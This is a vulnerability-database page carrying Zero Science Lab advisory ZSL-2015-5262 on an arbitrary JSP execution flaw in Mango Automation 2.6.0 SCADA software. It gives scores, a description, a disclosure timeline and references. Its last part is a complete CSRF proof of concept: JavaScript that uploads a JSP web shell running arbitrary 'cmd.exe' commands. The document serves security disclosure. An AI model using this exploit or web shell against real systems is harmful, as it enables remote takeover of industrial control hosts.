Lucene search

K
zeroscienceGjoko KrsticZSL-2015-5262
HistorySep 26, 2015 - 12:00 a.m.

Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution

2015-09-2600:00:00
Gjoko Krstic
zeroscience.mk
73

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

AI Score

7.4

Confidence

High

EPSS

0.002

Percentile

57.5%

Title: Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution
Advisory ID: ZSL-2015-5262
Type: Local/Remote
Impact: Cross-Site Scripting, System Access
Risk: (4/5)
Release Date: 26.09.2015

Summary

Mango Automation is a flexible SCADA, HMI And Automation software application that allows you to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages, etc. It is easy, affordable, and open source.

Description

Mango suffers from an authenticated arbitrary JSP code execution. The vulnerability is caused due to the improper verification of uploaded image files in ‘graphicalViewsBackgroundUpload’ script via the ‘backgroundImage’ POST parameter which allows of arbitrary files being uploaded in ‘/modules/graphicalViews/web/graphicalViewUploads/’. This can be exploited to execute arbitrary JSP code by uploading a malicious JSP script file that will be stored as a sequence number depending on how many files were uploaded (1.jsp or 2.jsp or 3.jsp … n.jsp).

Vendor

Infinite Automation Systems Inc. - <http://www.infiniteautomation.com>

Affected Version

2.5.2 and 2.6.0 beta (build 327)

Tested On

Microsoft Windows 7 Professional SP1 (EN) 32/64bit
Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
Jetty(9.2.2.v20140723)
Java™ SE Runtime Environment (build 1.8.0_51-b16)
Java HotSpot™ Client VM (build 25.51-b03, mixed mode)

Vendor Status

[20.08.2015] Vulnerability discovered.
[25.08.2015] Vendor contacted.
[25.08.2015] Vendor responds giving support e-mail to send details to.
[25.08.2015] Details sent to the support contact.
[27.08.2015] Asked vendor for status update.
[12.09.2015] No reply from the vendor.
[13.09.2015] Asked vendor for status update.
[25.09.2015] No reply from the vendor.
[26.09.2015] Public security advisory released.
[20.10.2015] Vendor releases version 2.6.0 build 430 to address these issues.

PoC

mango_uploadexec.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://www.exploit-db.com/exploits/38338/&gt;
[2] <https://packetstormsecurity.com/files/133735&gt;
[3] <https://cxsecurity.com/issue/WLB-2015090187&gt;
[4] <http://infiniteautomation.com/forum/topic/1995/mango-security-testing&gt;
[5] <http://infiniteautomation.com/index.php/what-s-new/entry/what-s-new-in-mango-automation-2-6-0-released-october-20th-2016&gt;
[6] <http://infiniteautomation.com/forum/topic/1997/mango-automation-2-6-released&gt;
[7] <https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02A&gt;
[8] <https://vulners.com/cve/CVE-2015-7904&gt;
[9] <https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-7904&gt;
[10] <https://www.auscert.org.au/render.html?it=27342&gt;
[11] https://www.incibe.es/securityAdvice/CERT-en/Early-warning/ics-advisories/MUltiples-vulnerabilidades-Mango-Automation
[12] <http://www.securiteam.com/securitynews/5CP3M1FHFQ.html&gt;

Changelog

[26.09.2015] - Initial release
[07.10.2015] - Added reference [1], [2] and [3]
[21.10.2015] - Added vendor status and reference [4], [5] and [6]
[29.10.2015] - Added reference [7], [8], [9], [10] and [11]
[14.02.2016] - Added reference [12]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution


Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)

Summary: Mango Automation is a flexible SCADA, HMI And Automation software application that allows you
to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.

Desc: Mango suffers from an authenticated arbitrary JSP code execution. The vulnerability is caused due
to the improper verification of uploaded image files in 'graphicalViewsBackgroundUpload' script via the
'backgroundImage' POST parameter which allows of arbitrary files being uploaded in '/modules/graphicalViews/web/graphicalViewUploads/'.
This can be exploited to execute arbitrary JSP code by uploading a malicious JSP script file that will be
stored as a sequence number depending on how many files were uploaded (1.jsp or 2.jsp or 3.jsp .. n.jsp).

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
           Jetty(9.2.2.v20140723)
           Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
           Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5262
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5262.php


20.08.2015

--



  </p>
<script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:8080/graphicalViewsBackgroundUpload", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundaryb8cxmjBwpzDcHUVI");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundaryb8cxmjBwpzDcHUVI\r\n" + 
          "Content-Disposition: form-data; name=\"backgroundImage\"; filename=\"cmd.jsp\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\x3c%@ page import=\"java.util.*,java.io.*,java.net.*\"%\x3e\r\n" + 
          "\x3cHTML\x3e\x3cBODY\x3e\r\n" + 
          "\x3cFORM METHOD=\"POST\" NAME=\"myform\" ACTION=\"\"\x3e\r\n" + 
          "\x3cINPUT TYPE=\"text\" NAME=\"cmd\"\x3e\r\n" + 
          "\x3cINPUT TYPE=\"submit\" VALUE=\"Send\"\x3e\r\n" + 
          "\x3c/FORM\x3e\r\n" + 
          "\x3cpre\x3e\r\n" + 
          "\x3c%\r\n" + 
          "if (request.getParameter(\"cmd\") != null) {\r\n" + 
          "        out.println(\"Command: \" + request.getParameter(\"cmd\") + \"\\n\x3cBR\x3e\");\r\n" + 
          "        Process p = Runtime.getRuntime().exec(\"cmd.exe /c \" + request.getParameter(\"cmd\"));\r\n" + 
          "        OutputStream os = p.getOutputStream();\r\n" + 
          "        InputStream in = p.getInputStream();\r\n" + 
          "        DataInputStream dis = new DataInputStream(in);\r\n" + 
          "        String disr = dis.readLine();\r\n" + 
          "        while ( disr != null ) {\r\n" + 
          "                out.println(disr); disr = dis.readLine(); }\r\n" + 
          "        }\r\n" + 
          "%\x3e\r\n" + 
          "\x3c/pre\x3e\r\n" + 
          "\x3c/BODY\x3e\x3c/HTML\x3e\r\n" + 
          "------WebKitFormBoundaryb8cxmjBwpzDcHUVI--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
<form action="#">
<input onclick="submitRequest();" type="button" value="Submit request"/>
</form>
  



Webshell: http://localhost:8080/modules/graphicalViews/web/graphicalViewUploads/17.jsp
</body></html>

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

AI Score

7.4

Confidence

High

EPSS

0.002

Percentile

57.5%

Related for ZSL-2015-5262